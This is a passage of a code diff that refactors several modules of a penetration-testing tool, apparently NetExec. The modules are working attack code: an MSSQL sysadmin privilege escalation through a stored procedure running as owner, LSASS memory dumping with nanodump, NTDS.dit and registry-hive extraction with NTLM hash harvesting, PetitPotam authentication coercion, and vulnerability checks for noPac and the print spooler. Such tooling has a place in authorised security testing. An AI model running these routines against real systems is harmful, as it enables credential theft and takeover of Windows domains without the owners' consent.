exec_as (str): The user to execute the query as. Default is an empty string.
|
||||
|
||||
Returns:
|
||||
-------
|
||||
bool: True if the user is an admin, False otherwise.
|
||||
"""
|
||||
res = self.query_and_get_output(exec_as + "SELECT IS_SRVROLEMEMBER('sysadmin')")
|
||||
self.revert_context(exec_as)
|
||||
is_admin = res[0][""]
|
||||
self.context.log.debug(f"IsAdmin Result: {is_admin}")
|
||||
if is_admin:
|
||||
self.context.log.debug(f"User is admin!")
|
||||
self.context.log.debug("User is admin!")
|
||||
self.admin_privs = True
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
|
||||
def get_databases(self, exec_as="") -> list:
|
||||
"""
|
||||
Retrieves a list of databases from the SQL server.
|
||||
|
||||
Args:
|
||||
----
|
||||
exec_as (str, optional): The username to execute the query as. Defaults to "".
|
||||
|
||||
Returns:
|
||||
-------
|
||||
list: A list of database names.
|
||||
"""
|
||||
res = self.query_and_get_output(exec_as + "SELECT name FROM master..sysdatabases")
|
||||
self.revert_context(exec_as)
|
||||
self.context.log.debug(f"Response: {res}")
|
||||
self.context.log.debug(f"Response Type: {type(res)}")
|
||||
tables = [table["name"] for table in res]
|
||||
return tables
|
||||
return [table["name"] for table in res]
|
||||
|
||||
def is_dbowner(self, database, exec_as="") -> bool:
|
||||
query = f"""select rp.name as database_role
|
||||
from [{database}].sys.database_role_members drm
|
||||
join [{database}].sys.database_principals rp
|
||||
on (drm.role_principal_id = rp.principal_id)
|
||||
join [{database}].sys.database_principals mp
|
||||
on (drm.member_principal_id = mp.principal_id)
|
||||
where rp.name = 'db_owner' and mp.name = SYSTEM_USER"""
|
||||
self.context.log.debug(f"Query: {query}")
|
||||
def is_db_owner(self, database, exec_as="") -> bool:
|
||||
"""
|
||||
Check if the specified database is owned by the current user.
|
||||
|
||||
Args:
|
||||
----
|
||||
database (str): The name of the database to check.
|
||||
exec_as (str, optional): The name of the user to execute the query as. Defaults to "".
|
||||
|
||||
Returns:
|
||||
-------
|
||||
bool: True if the database is owned by the current user, False otherwise.
|
||||
"""
|
||||
query = f"""
|
||||
SELECT rp.name AS database_role
|
||||
FROM [{database}].sys.database_role_members drm
|
||||
JOIN [{database}].sys.database_principals rp ON (drm.role_principal_id = rp.principal_id)
|
||||
JOIN [{database}].sys.database_principals mp ON (drm.member_principal_id = mp.principal_id)
|
||||
WHERE rp.name = 'db_owner' AND mp.name = SYSTEM_USER
|
||||
"""
|
||||
res = self.query_and_get_output(exec_as + query)
|
||||
self.context.log.debug(f"Response: {res}")
|
||||
self.revert_context(exec_as)
|
||||
if res:
|
||||
if "database_role" in res[0] and res[0]["database_role"] == "db_owner":
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
if res and "database_role" in res[0] and res[0]["database_role"] == "db_owner":
|
||||
return True
|
||||
return False
|
||||
|
||||
def find_dbowner_priv(self, databases, exec_as="") -> list:
|
||||
match = []
|
||||
for database in databases:
|
||||
if self.is_dbowner(database, exec_as):
|
||||
match.append(database)
|
||||
return match
|
||||
"""
|
||||
Finds the list of databases for which the specified user is the owner.
|
||||
|
||||
def find_trusted_db(self, exec_as="") -> list:
|
||||
query = """SELECT d.name AS DATABASENAME
|
||||
FROM sys.server_principals r
|
||||
INNER JOIN sys.server_role_members m
|
||||
ON r.principal_id = m.role_principal_id
|
||||
INNER JOIN sys.server_principals p ON
|
||||
p.principal_id = m.member_principal_id
|
||||
inner join sys.databases d
|
||||
on suser_sname(d.owner_sid) = p.name
|
||||
WHERE is_trustworthy_on = 1 AND d.name NOT IN ('MSDB')
|
||||
and r.type = 'R' and r.name = N'sysadmin'"""
|
||||
res = self.query_and_get_output(exec_as + query)
|
||||
Args:
|
||||
----
|
||||
databases (list): A list of database names.
|
||||
exec_as (str, optional): The user to execute the check as. Defaults to "".
|
||||
|
||||
Returns:
|
||||
-------
|
||||
list: A list of database names for which the specified user is the owner.
|
||||
"""
|
||||
return [database for database in databases if self.is_db_owner(database, exec_as)]
|
||||
|
||||
def find_trusted_databases(self, exec_as="") -> list:
|
||||
"""
|
||||
Find trusted databases.
|
||||
|
||||
:param exec_as: The user under whose context the query should be executed. Defaults to an empty string.
|
||||
:type exec_as: str
|
||||
:return: A list of trusted database names.
|
||||
:rtype: list
|
||||
"""
|
||||
query = """
|
||||
SELECT d.name AS DATABASENAME
|
||||
FROM sys.server_principals r
|
||||
INNER JOIN sys.server_role_members m ON r.principal_id = m.role_principal_id
|
||||
INNER JOIN sys.server_principals p ON p.principal_id = m.member_principal_id
|
||||
INNER JOIN sys.databases d ON suser_sname(d.owner_sid) = p.name
|
||||
WHERE is_trustworthy_on = 1 AND d.name NOT IN ('MSDB')
|
||||
AND r.type = 'R' AND r.name = N'sysadmin'
|
||||
"""
|
||||
result = self.query_and_get_output(exec_as + query)
|
||||
self.revert_context(exec_as)
|
||||
return res
|
||||
return result
|
||||
|
||||
def check_dbowner_privesc(self, exec_as=""):
|
||||
"""
|
||||
Check if a database owner has privilege escalation.
|
||||
|
||||
:param exec_as: The user to execute the check as. Defaults to an empty string.
|
||||
:type exec_as: str
|
||||
:return: The first trusted database that has a database owner with privilege escalation, or None if no such database is found.
|
||||
:rtype: str or None
|
||||
"""
|
||||
databases = self.get_databases(exec_as)
|
||||
dbowner = self.find_dbowner_priv(databases, exec_as)
|
||||
trusted_db = self.find_trusted_db(exec_as)
|
||||
# return the first match
|
||||
for db in dbowner:
|
||||
if db in trusted_db:
|
||||
dbowner_privileged_databases = self.find_dbowner_priv(databases, exec_as)
|
||||
trusted_databases = self.find_trusted_databases(exec_as)
|
||||
|
||||
for db in dbowner_privileged_databases:
|
||||
if db in trusted_databases:
|
||||
return db
|
||||
return None
|
||||
|
||||
def do_dbowner_privesc(self, database, exec_as=""):
|
||||
# change context if necessary
|
||||
"""
|
||||
Executes a series of SQL queries to perform a database owner privilege escalation.
|
||||
|
||||
Args:
|
||||
----
|
||||
database (str): The name of the database to perform the privilege escalation on.
|
||||
exec_as (str, optional): The username to execute the queries as. Defaults to "".
|
||||
|
||||
Returns:
|
||||
-------
|
||||
None
|
||||
"""
|
||||
self.query_and_get_output(exec_as)
|
||||
# use database
|
||||
self.query_and_get_output(f"use {database};")
|
||||
query = f"""CREATE PROCEDURE sp_elevate_me
|
||||
|
||||
query = """CREATE PROCEDURE sp_elevate_me
|
||||
WITH EXECUTE AS OWNER
|
||||
as
|
||||
begin
|
||||
EXEC sp_addsrvrolemember '{self.current_username}','sysadmin'
|
||||
end"""
|
||||
self.query_and_get_output(query)
|
||||
|
||||
self.query_and_get_output("EXEC sp_elevate_me;")
|
||||
self.query_and_get_output("DROP PROCEDURE sp_elevate_me;")
|
||||
|
||||
self.revert_context(exec_as)
|
||||
|
||||
def do_impersonation_privesc(self, username, exec_as=""):
|
||||
"""
|
||||
Perform an impersonation privilege escalation by changing the context to the specified user and granting them 'sysadmin' role.
|
||||
|
||||
:param username: The username of the user to escalate privileges for.
|
||||
:type username: str
|
||||
:param exec_as: The username to execute the query as. Defaults to an empty string.
|
||||
:type exec_as: str, optional
|
||||
|
||||
:return: None
|
||||
:rtype: None
|
||||
"""
|
||||
# change context if necessary
|
||||
self.query_and_get_output(exec_as)
|
||||
# update our privilege
|
||||
|
@ -264,22 +401,45 @@ class NXCModule:
|
|||
self.revert_context(exec_as)
|
||||
|
||||
def get_impersonate_users(self, exec_as="") -> list:
|
||||
"""
|
||||
Retrieves a list of users who have the permission to impersonate other users.
|
||||
|
||||
Args:
|
||||
----
|
||||
exec_as (str, optional): The context in which the query will be executed. Defaults to "".
|
||||
|
||||
Returns:
|
||||
-------
|
||||
list: A list of user names who have the permission to impersonate other users.
|
||||
"""
|
||||
query = """SELECT DISTINCT b.name
|
||||
FROM sys.server_permissions a
|
||||
INNER JOIN sys.server_principals b
|
||||
ON a.grantor_principal_id = b.principal_id
|
||||
WHERE a.permission_name like 'IMPERSONATE%'"""
|
||||
res = self.query_and_get_output(exec_as + query)
|
||||
# self.context.log.debug(f"Result: {res}")
|
||||
self.revert_context(exec_as)
|
||||
users = [user["name"] for user in res]
|
||||
return users
|
||||
return [user["name"] for user in res]
|
||||
|
||||
def remove_sysadmin_priv(self) -> bool:
|
||||
res = self.query_and_get_output(f"EXEC sp_dropsrvrolemember '{self.current_username}', 'sysadmin'")
|
||||
"""
|
||||
Remove the sysadmin privilege from the current user.
|
||||
|
||||
:return: True if the sysadmin privilege was successfully removed, False otherwise.
|
||||
:rtype: bool
|
||||
"""
|
||||
self.query_and_get_output(f"EXEC sp_dropsrvrolemember '{self.current_username}', 'sysadmin'")
|
||||
return not self.is_admin()
|
||||
|
||||
def is_admin_user(self, username) -> bool:
|
||||
"""
|
||||
Check if the given username belongs to an admin user.
|
||||
|
||||
:param username: The username to check.
|
||||
:type username: str
|
||||
:return: True if the username belongs to an admin user, False otherwise.
|
||||
:rtype: bool
|
||||
"""
|
||||
res = self.query_and_get_output(f"SELECT IS_SRVROLEMEMBER('sysadmin', '{username}')")
|
||||
try:
|
||||
if int(res):
|
||||
|
@ -287,8 +447,19 @@ class NXCModule:
|
|||
return True
|
||||
else:
|
||||
return False
|
||||
except:
|
||||
except Exception:
|
||||
return False
|
||||
|
||||
def revert_context(self, exec_as):
|
||||
"""
|
||||
Reverts the context for the specified user.
|
||||
|
||||
Parameters
|
||||
----------
|
||||
exec_as (str): The user for whom the context should be reverted.
|
||||
|
||||
Returns
|
||||
-------
|
||||
None
|
||||
"""
|
||||
self.query_and_get_output("REVERT;" * exec_as.count("EXECUTE"))
|
||||
|
|
|
@ -1,5 +1,3 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
# nanodump module for nxc python3
|
||||
# author of the module : github.com/mpgn
|
||||
# nanodump: https://github.com/helpsystems/nanodump
|
||||
|
@ -35,7 +33,7 @@ class NXCModule:
|
|||
self.module_options = module_options
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
r"""
|
||||
TMP_DIR Path where process dump should be saved on target system (default: C:\\Windows\\Temp\\)
|
||||
NANO_PATH Path where nano.exe is on your system (default: OS temp directory)
|
||||
NANO_EXE_NAME Name of the nano executable (default: nano.exe)
|
||||
|
@ -113,7 +111,7 @@ class NXCModule:
|
|||
# apparently SMB exec methods treat the output parameter differently than MSSQL (we use it to display())
|
||||
# if we don't do this, then SMB doesn't actually return the results of commands, so it appears that the
|
||||
# execution fails, which it doesn't
|
||||
display_output = True if self.context.protocol == "smb" else False
|
||||
display_output = self.context.protocol == "smb"
|
||||
self.context.log.debug(f"Display Output: {display_output}")
|
||||
# get LSASS PID via `tasklist`
|
||||
command = 'tasklist /v /fo csv | findstr /i "lsass"'
|
||||
|
@ -124,7 +122,7 @@ class NXCModule:
|
|||
p = p[0]
|
||||
|
||||
if not p or p == "None":
|
||||
self.context.log.fail(f"Failed to execute command to get LSASS PID")
|
||||
self.context.log.fail("Failed to execute command to get LSASS PID")
|
||||
return
|
||||
|
||||
pid = p.split(",")[1][1:-1]
|
||||
|
@ -138,7 +136,7 @@ class NXCModule:
|
|||
self.context.log.debug(f"NanoDump Command Result: {p}")
|
||||
|
||||
if not p or p == "None":
|
||||
self.context.log.fail(f"Failed to execute command to execute NanoDump")
|
||||
self.context.log.fail("Failed to execute command to execute NanoDump")
|
||||
self.delete_nanodump_binary()
|
||||
return
|
||||
|
||||
|
@ -154,7 +152,7 @@ class NXCModule:
|
|||
|
||||
if dump:
|
||||
self.context.log.display(f"Copying {nano_log_name} to host")
|
||||
filename = os.path.join(self.dir_result,f"{self.connection.hostname}_{self.connection.os_arch}_{self.connection.domain}.log")
|
||||
filename = os.path.join(self.dir_result, f"{self.connection.hostname}_{self.connection.os_arch}_{self.connection.domain}.log")
|
||||
if self.context.protocol == "smb":
|
||||
with open(filename, "wb+") as dump_file:
|
||||
try:
|
||||
|
@ -190,14 +188,13 @@ class NXCModule:
|
|||
except Exception as e:
|
||||
self.context.log.fail(f"[OPSEC] Error deleting lsass.dmp file on dir {self.remote_tmp_dir}: {e}")
|
||||
|
||||
fh = open(filename, "r+b")
|
||||
fh.seek(0)
|
||||
fh.write(b"\x4d\x44\x4d\x50")
|
||||
fh.seek(4)
|
||||
fh.write(b"\xa7\x93")
|
||||
fh.seek(6)
|
||||
fh.write(b"\x00\x00")
|
||||
fh.close()
|
||||
with open(filename, "r+b") as fh: # needs the "r+b", not "rb" like below
|
||||
fh.seek(0)
|
||||
fh.write(b"\x4d\x44\x4d\x50")
|
||||
fh.seek(4)
|
||||
fh.write(b"\xa7\x93")
|
||||
fh.seek(6)
|
||||
fh.write(b"\x00\x00")
|
||||
|
||||
with open(filename, "rb") as dump:
|
||||
try:
|
||||
|
|
|
@ -1,5 +1,3 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
# Credit to https://exploit.ph/cve-2021-42287-cve-2021-42278-weaponisation.html
|
||||
# @exploitph @Evi1cg
|
||||
# module by @mpgn_x64
|
||||
|
@ -49,5 +47,5 @@ class NXCModule:
|
|||
context.log.highlight("")
|
||||
context.log.highlight("VULNERABLE")
|
||||
context.log.highlight("Next step: https://github.com/Ridter/noPac")
|
||||
except OSError as e:
|
||||
except OSError:
|
||||
context.log.debug(f"Error connecting to Kerberos (port 88) on {connection.host}")
|
||||
|
|
|
@ -41,14 +41,14 @@ class NXCModule:
|
|||
self.no_delete = True
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
command = "powershell \"ntdsutil.exe 'ac i ntds' 'ifm' 'create full %s%s' q q\"" % (self.tmp_dir, self.dump_location)
|
||||
context.log.display("Dumping ntds with ntdsutil.exe to %s%s" % (self.tmp_dir, self.dump_location))
|
||||
command = f"powershell \"ntdsutil.exe 'ac i ntds' 'ifm' 'create full {self.tmp_dir}{self.dump_location}' q q\""
|
||||
context.log.display(f"Dumping ntds with ntdsutil.exe to {self.tmp_dir}{self.dump_location}")
|
||||
context.log.highlight("Dumping the NTDS, this could take a while so go grab a redbull...")
|
||||
context.log.debug("Executing command {}".format(command))
|
||||
context.log.debug(f"Executing command {command}")
|
||||
p = connection.execute(command, True)
|
||||
context.log.debug(p)
|
||||
if "success" in p:
|
||||
context.log.success("NTDS.dit dumped to %s%s" % (self.tmp_dir, self.dump_location))
|
||||
context.log.success(f"NTDS.dit dumped to {self.tmp_dir}{self.dump_location}")
|
||||
else:
|
||||
context.log.fail("Error while dumping NTDS")
|
||||
return
|
||||
|
@ -57,53 +57,56 @@ class NXCModule:
|
|||
os.makedirs(os.path.join(self.dir_result, "Active Directory"), exist_ok=True)
|
||||
os.makedirs(os.path.join(self.dir_result, "registry"), exist_ok=True)
|
||||
|
||||
context.log.display("Copying NTDS dump to %s" % self.dir_result)
|
||||
context.log.display(f"Copying NTDS dump to {self.dir_result}")
|
||||
|
||||
context.log.debug("Copy ntds.dit to host")
|
||||
with open(os.path.join(self.dir_result, "Active Directory", "ntds.dit"), "wb+") as dump_file:
|
||||
try:
|
||||
connection.conn.getFile(
|
||||
self.share,
|
||||
self.tmp_share + self.dump_location + "\\" + "Active Directory\\ntds.dit",
|
||||
f"{self.tmp_share}{self.dump_location}\\Active Directory\\ntds.dit",
|
||||
dump_file.write,
|
||||
)
|
||||
context.log.debug("Copied ntds.dit file")
|
||||
except Exception as e:
|
||||
context.log.fail("Error while get ntds.dit file: {}".format(e))
|
||||
context.log.fail(f"Error while get ntds.dit file: {e}")
|
||||
|
||||
context.log.debug("Copy SYSTEM to host")
|
||||
with open(os.path.join(self.dir_result, "registry", "SYSTEM"), "wb+") as dump_file:
|
||||
try:
|
||||
connection.conn.getFile(
|
||||
self.share,
|
||||
self.tmp_share + self.dump_location + "\\" + "registry\\SYSTEM",
|
||||
f"{self.tmp_share}{self.dump_location}\\registry\\SYSTEM",
|
||||
dump_file.write,
|
||||
)
|
||||
context.log.debug("Copied SYSTEM file")
|
||||
except Exception as e:
|
||||
context.log.fail("Error while get SYSTEM file: {}".format(e))
|
||||
context.log.fail(f"Error while get SYSTEM file: {e}")
|
||||
|
||||
context.log.debug("Copy SECURITY to host")
|
||||
with open(os.path.join(self.dir_result, "registry", "SECURITY"), "wb+") as dump_file:
|
||||
try:
|
||||
connection.conn.getFile(
|
||||
self.share,
|
||||
self.tmp_share + self.dump_location + "\\" + "registry\\SECURITY",
|
||||
f"{self.tmp_share}{self.dump_location}\\registry\\SECURITY",
|
||||
dump_file.write,
|
||||
)
|
||||
context.log.debug("Copied SECURITY file")
|
||||
except Exception as e:
|
||||
context.log.fail("Error while get SECURITY file: {}".format(e))
|
||||
context.log.display("NTDS dump copied to %s" % self.dir_result)
|
||||
try:
|
||||
command = "rmdir /s /q %s%s" % (self.tmp_dir, self.dump_location)
|
||||
p = connection.execute(command, True)
|
||||
context.log.success("Deleted %s%s remote dump directory" % (self.tmp_dir, self.dump_location))
|
||||
except Exception as e:
|
||||
context.log.fail("Error deleting {} remote directory on share {}: {}".format(self.dump_location, self.share, e))
|
||||
context.log.fail(f"Error while get SECURITY file: {e}")
|
||||
|
||||
localOperations = LocalOperations("%s/registry/SYSTEM" % self.dir_result)
|
||||
bootKey = localOperations.getBootKey()
|
||||
noLMHash = localOperations.checkNoLMHashPolicy()
|
||||
context.log.display(f"NTDS dump copied to {self.dir_result}")
|
||||
|
||||
try:
|
||||
command = f"rmdir /s /q {self.tmp_dir}{self.dump_location}"
|
||||
p = connection.execute(command, True)
|
||||
context.log.success(f"Deleted {self.tmp_dir}{self.dump_location} remote dump directory")
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error deleting {self.dump_location} remote directory on share {self.share}: {e}")
|
||||
|
||||
local_operations = LocalOperations(f"{self.dir_result}/registry/SYSTEM")
|
||||
boot_key = local_operations.getBootKey()
|
||||
no_lm_hash = local_operations.checkNoLMHashPolicy()
|
||||
|
||||
host_id = context.db.get_hosts(filter_term=connection.host)[0][0]
|
||||
|
||||
|
@ -118,20 +121,20 @@ class NXCModule:
|
|||
context.log.highlight(ntds_hash)
|
||||
if ntds_hash.find("$") == -1:
|
||||
if ntds_hash.find("\\") != -1:
|
||||
domain, hash = ntds_hash.split("\\")
|
||||
domain, clean_hash = ntds_hash.split("\\")
|
||||
else:
|
||||
domain = connection.domain
|
||||
hash = ntds_hash
|
||||
clean_hash = ntds_hash
|
||||
|
||||
try:
|
||||
username, _, lmhash, nthash, _, _, _ = hash.split(":")
|
||||
parsed_hash = ":".join((lmhash, nthash))
|
||||
username, _, lmhash, nthash, _, _, _ = clean_hash.split(":")
|
||||
parsed_hash = f"{lmhash}:{nthash}"
|
||||
if validate_ntlm(parsed_hash):
|
||||
context.db.add_credential("hash", domain, username, parsed_hash, pillaged_from=host_id)
|
||||
add_ntds_hash.added_to_db += 1
|
||||
return
|
||||
raise
|
||||
except:
|
||||
except Exception:
|
||||
context.log.debug("Dumped hash is not NTLM, not adding to db for now ;)")
|
||||
else:
|
||||
context.log.debug("Dumped hash is a computer account, not adding to db")
|
||||
|
@ -140,11 +143,11 @@ class NXCModule:
|
|||
add_ntds_hash.added_to_db = 0
|
||||
|
||||
NTDS = NTDSHashes(
|
||||
"%s/Active Directory/ntds.dit" % self.dir_result,
|
||||
bootKey,
|
||||
f"{self.dir_result}/Active Directory/ntds.dit",
|
||||
boot_key,
|
||||
isRemote=False,
|
||||
history=False,
|
||||
noLMHash=noLMHash,
|
||||
noLMHash=no_lm_hash,
|
||||
remoteOps=None,
|
||||
useVSSMethod=True,
|
||||
justNTLM=True,
|
||||
|
@ -159,22 +162,17 @@ class NXCModule:
|
|||
try:
|
||||
context.log.success("Dumping the NTDS, this could take a while so go grab a redbull...")
|
||||
NTDS.dump()
|
||||
context.log.success(
|
||||
"Dumped {} NTDS hashes to {} of which {} were added to the database".format(
|
||||
highlight(add_ntds_hash.ntds_hashes),
|
||||
connection.output_filename + ".ntds",
|
||||
highlight(add_ntds_hash.added_to_db),
|
||||
)
|
||||
)
|
||||
context.log.success(f"Dumped {highlight(add_ntds_hash.ntds_hashes)} NTDS hashes to {connection.output_filename}.ntds of which {highlight(add_ntds_hash.added_to_db)} were added to the database")
|
||||
|
||||
context.log.display("To extract only enabled accounts from the output file, run the following command: ")
|
||||
context.log.display("grep -iv disabled {} | cut -d ':' -f1".format(connection.output_filename + ".ntds"))
|
||||
context.log.display(f"grep -iv disabled {connection.output_filename}.ntds | cut -d ':' -f1")
|
||||
except Exception as e:
|
||||
context.log.fail(e)
|
||||
|
||||
NTDS.finish()
|
||||
|
||||
if self.no_delete:
|
||||
context.log.display("Raw NTDS dump copied to %s, parse it with:" % self.dir_result)
|
||||
context.log.display('secretsdump.py -system %s/registry/SYSTEM -security %s/registry/SECURITY -ntds "%s/Active Directory/ntds.dit" LOCAL' % (self.dir_result, self.dir_result, self.dir_result))
|
||||
context.log.display(f"Raw NTDS dump copied to {self.dir_result}, parse it with:")
|
||||
context.log.display(f"secretsdump.py -system '{self.dir_result}/registry/SYSTEM' -security '{self.dir_result}/registry/SECURITY' -ntds '{self.dir_result}/Active Directory/ntds.dit' LOCAL")
|
||||
else:
|
||||
shutil.rmtree(self.dir_result)
|
||||
|
|
|
@ -1,6 +1,3 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
from impacket.dcerpc.v5 import rrp
|
||||
from impacket.examples.secretsdump import RemoteOperations
|
||||
from impacket.dcerpc.v5.rrp import DCERPCSessionError
|
||||
|
@ -43,8 +40,8 @@ class NXCModule:
|
|||
key_handle,
|
||||
"lmcompatibilitylevel\x00",
|
||||
)
|
||||
except rrp.DCERPCSessionError as e:
|
||||
context.log.debug(f"Unable to reference lmcompatabilitylevel, which probably means ntlmv1 is not set")
|
||||
except rrp.DCERPCSessionError:
|
||||
context.log.debug("Unable to reference lmcompatabilitylevel, which probably means ntlmv1 is not set")
|
||||
|
||||
if rtype and data and int(data) in [0, 1, 2]:
|
||||
context.log.highlight(self.output.format(connection.conn.getRemoteHost(), data))
|
||||
|
|
|
@ -1,5 +1,3 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
# From https://github.com/topotam/PetitPotam
|
||||
# All credit to @topotam
|
||||
# Module by @mpgn_x64
|
||||
|
@ -67,8 +65,8 @@ class NXCModule:
|
|||
host.signing,
|
||||
petitpotam=True,
|
||||
)
|
||||
except Exception as e:
|
||||
context.log.debug(f"Error updating petitpotam status in database")
|
||||
except Exception:
|
||||
context.log.debug("Error updating petitpotam status in database")
|
||||
|
||||
|
||||
class DCERPCSessionError(DCERPCException):
|
||||
|
@ -80,13 +78,9 @@ class DCERPCSessionError(DCERPCException):
|
|||
if key in system_errors.ERROR_MESSAGES:
|
||||
error_msg_short = system_errors.ERROR_MESSAGES[key][0]
|
||||
error_msg_verbose = system_errors.ERROR_MESSAGES[key][1]
|
||||
return "EFSR SessionError: code: 0x%x - %s - %s" % (
|
||||
self.error_code,
|
||||
error_msg_short,
|
||||
error_msg_verbose,
|
||||
)
|
||||
return f"EFSR SessionError: code: 0x{self.error_code:x} - {error_msg_short} - {error_msg_verbose}"
|
||||
else:
|
||||
return "EFSR SessionError: unknown error code: 0x%x" % self.error_code
|
||||
return f"EFSR SessionError: unknown error code: 0x{self.error_code:x}"
|
||||
|
||||
|
||||
################################################################################
|
||||
|
@ -248,18 +242,18 @@ def coerce(
|
|||
rpc_transport.set_kerberos(do_kerberos, kdcHost=dc_host)
|
||||
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
|
||||
|
||||
context.log.info("[-] Connecting to %s" % binding_params[pipe]["stringBinding"])
|
||||
context.log.info(f"[-] Connecting to {binding_params[pipe]['stringBinding']}")
|
||||
try:
|
||||
dce.connect()
|
||||
except Exception as e:
|
||||
context.log.debug("Something went wrong, check error status => %s" % str(e))
|
||||
context.log.debug(f"Something went wrong, check error status => {e!s}")
|
||||
sys.exit()
|
||||
context.log.info("[+] Connected!")
|
||||
context.log.info("[+] Binding to %s" % binding_params[pipe]["MSRPC_UUID_EFSR"][0])
|
||||
context.log.info(f"[+] Binding to {binding_params[pipe]['MSRPC_UUID_EFSR'][0]}")
|
||||
try:
|
||||
dce.bind(uuidtup_to_bin(binding_params[pipe]["MSRPC_UUID_EFSR"]))
|
||||
except Exception as e:
|
||||
context.log.debug("Something went wrong, check error status => %s" % str(e))
|
||||
context.log.debug(f"Something went wrong, check error status => {e!s}")
|
||||
sys.exit()
|
||||
context.log.info("[+] Successfully bound!")
|
||||
return dce
|
||||
|
@ -268,9 +262,9 @@ def coerce(
|
|||
def efs_rpc_open_file_raw(dce, listener, context=None):
|
||||
try:
|
||||
request = EfsRpcOpenFileRaw()
|
||||
request["fileName"] = "\\\\%s\\test\\Settings.ini\x00" % listener
|
||||
request["fileName"] = f"\\\\{listener}\\test\\Settings.ini\x00"
|
||||
request["Flag"] = 0
|
||||
resp = dce.request(request)
|
||||
dce.request(request)
|
||||
|
||||
except Exception as e:
|
||||
if str(e).find("ERROR_BAD_NETPATH") >= 0:
|
||||
|
@ -283,14 +277,14 @@ def efs_rpc_open_file_raw(dce, listener, context=None):
|
|||
context.log.info("[-] Sending EfsRpcEncryptFileSrv!")
|
||||
try:
|
||||
request = EfsRpcEncryptFileSrv()
|
||||
request["FileName"] = "\\\\%s\\test\\Settings.ini\x00" % listener
|
||||
resp = dce.request(request)
|
||||
request["FileName"] = f"\\\\{listener}\\test\\Settings.ini\x00"
|
||||
dce.request(request)
|
||||
except Exception as e:
|
||||
if str(e).find("ERROR_BAD_NETPATH") >= 0:
|
||||
context.log.info("[+] Got expected ERROR_BAD_NETPATH exception!!")
|
||||
context.log.info("[+] Attack worked!")
|
||||
return True
|
||||
else:
|
||||
context.log.debug("Something went wrong, check error status => %s" % str(e))
|
||||
context.log.debug(f"Something went wrong, check error status => {e!s}")
|
||||
else:
|
||||
context.log.debug("Something went wrong, check error status => %s" % str(e))
|
||||
context.log.debug(f"Something went wrong, check error status => {e!s}")
|
||||
|
|
File diff suppressed because one or more lines are too long
|
@ -1,6 +1,3 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
import sys
|
||||
from impacket import system_errors
|
||||
from impacket.dcerpc.v5.rpcrt import DCERPCException
|
||||
|
@ -35,9 +32,7 @@ class NXCModule:
|
|||
self.port = None
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
PORT Port to check (defaults to 445)
|
||||
"""
|
||||
"""PORT Port to check (defaults to 445)"""
|
||||
self.port = 445
|
||||
if "PORT" in module_options:
|
||||
self.port = int(module_options["PORT"])
|
||||
|
@ -46,7 +41,7 @@ class NXCModule:
|
|||
# Connect and bind to MS-RPRN (https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/848b8334-134a-4d02-aea4-03b673d6c515)
|
||||
stringbinding = r"ncacn_np:%s[\PIPE\spoolss]" % connection.host
|
||||
|
||||
context.log.info("Binding to %s" % (repr(stringbinding)))
|
||||
context.log.info(f"Binding to {stringbinding!r}")
|
||||
|
||||
rpctransport = transport.DCERPCTransportFactory(stringbinding)
|
||||
|
||||
|
@ -71,7 +66,7 @@ class NXCModule:
|
|||
# Bind to MSRPC MS-RPRN UUID: 12345678-1234-ABCD-EF00-0123456789AB
|
||||
dce.bind(rprn.MSRPC_UUID_RPRN)
|
||||
except Exception as e:
|
||||
context.log.fail("Failed to bind: %s" % e)
|
||||
context.log.fail(f"Failed to bind: {e}")
|
||||
sys.exit(1)
|
||||
|
||||
flags = APD_COPY_ALL_FILES | APD_COPY_FROM_DIRECTORY | APD_INSTALL_WARNED_DRIVER
|
||||
|
@ -119,13 +114,9 @@ class DCERPCSessionError(DCERPCException):
|
|||
if key in system_errors.ERROR_MESSAGES:
|
||||
error_msg_short = system_errors.ERROR_MESSAGES[key][0]
|
||||
error_msg_verbose = system_errors.ERROR_MESSAGES[key][1]
|
||||
return "RPRN SessionError: code: 0x%x - %s - %s" % (
|
||||
self.error_code,
|
||||
error_msg_short,
|
||||
error_msg_verbose,
|
||||
)
|
||||
return f"RPRN SessionError: code: 0x{self.error_code:x} - {error_msg_short} - {error_msg_verbose}"
|
||||
else:
|
||||
return "RPRN SessionError: unknown error code: 0x%x" % self.error_code
|
||||
return f"RPRN SessionError: unknown error code: 0x{self.error_code:x}"
|
||||
|
||||
|
||||
################################################################################
|
||||
|
@ -191,26 +182,26 @@ class DRIVER_INFO_2_BLOB(Structure):
|
|||
def fromString(self, data, offset=0):
|
||||
Structure.fromString(self, data)
|
||||
|
||||
name = data[self["NameOffset"] + offset :].decode("utf-16-le")
|
||||
name = data[self["NameOffset"] + offset:].decode("utf-16-le")
|
||||
name_len = name.find("\0")
|
||||
self["Name"] = checkNullString(name[:name_len])
|
||||
|
||||
self["ConfigFile"] = data[self["ConfigFileOffset"] + offset : self["DataFileOffset"] + offset].decode("utf-16-le")
|
||||
self["DataFile"] = data[self["DataFileOffset"] + offset : self["DriverPathOffset"] + offset].decode("utf-16-le")
|
||||
self["DriverPath"] = data[self["DriverPathOffset"] + offset : self["EnvironmentOffset"] + offset].decode("utf-16-le")
|
||||
self["Environment"] = data[self["EnvironmentOffset"] + offset : self["NameOffset"] + offset].decode("utf-16-le")
|
||||
self["ConfigFile"] = data[self["ConfigFileOffset"] + offset: self["DataFileOffset"] + offset].decode("utf-16-le")
|
||||
self["DataFile"] = data[self["DataFileOffset"] + offset: self["DriverPathOffset"] + offset].decode("utf-16-le")
|
||||
self["DriverPath"] = data[self["DriverPathOffset"] + offset: self["EnvironmentOffset"] + offset].decode("utf-16-le")
|
||||
self["Environment"] = data[self["EnvironmentOffset"] + offset: self["NameOffset"] + offset].decode("utf-16-le")
|
||||
|
||||
|
||||
class DRIVER_INFO_2_ARRAY(Structure):
|
